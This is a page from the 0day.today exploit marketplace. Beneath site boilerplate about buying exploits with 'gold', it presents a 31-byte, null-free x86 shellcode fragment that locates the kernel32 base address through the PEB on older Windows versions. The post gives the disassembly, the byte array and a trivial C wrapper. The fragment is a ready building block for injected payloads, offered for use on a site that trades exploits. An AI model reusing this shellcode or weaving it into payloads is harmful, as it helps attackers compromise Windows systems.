0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
windows 9x/NT/2k/XP PEB method 31 bytes
[=======================================
Windows 9x/NT/2k/XP PEB method 31 bytes
=======================================
/*
004045F4 > 6A 30 PUSH 30
004045F6 59 POP ECX
004045F7 64:8B09 MOV ECX,DWORD PTR FS:[ECX]
004045FA 85C9 TEST ECX,ECX
004045FC 78 0C JS SHORT OllyTest.0040460A
004045FE 8B49 0C MOV ECX,DWORD PTR DS:[ECX+C]
00404601 8B71 1C MOV ESI,DWORD PTR DS:[ECX+1C]
00404604 AD LODS DWORD PTR DS:[ESI]
00404605 8B48 08 MOV ECX,DWORD PTR DS:[EAX+8]
00404608 EB 09 JMP SHORT OllyTest.00404613
0040460A 8B49 34 MOV ECX,DWORD PTR DS:[ECX+34]
0040460D 8B49 7C MOV ECX,DWORD PTR DS:[ECX+7C]
00404610 8B49 3C MOV ECX,DWORD PTR DS:[ECX+3C]
*/
/*
31 byte C PEB kernel base location method works on win9x-win2k3
no null bytes, so no need to xor.
-twoci
*/
unsigned char PEBCode[] =
{"\x6A\x30"
"\x59"
"\x64\x8B\x09"
"\x85\xC9"
"\x78\x0C"
"\x8B\x49\x0C"
"\x8B\x71\x1C"
"\xAD"
"\x8B\x48\x08"
"\xEB\x09"
"\x8B\x49\x34"
"\x8B\x49\x7C"
"\x8B\x49\x3C"};
int main( int argc, char *argv[] )
{
printf( "sizeof(PEBCode) = %u\n", sizeof(PEBCode) );
return 0;
}
# 0day.today [2024-11-16] #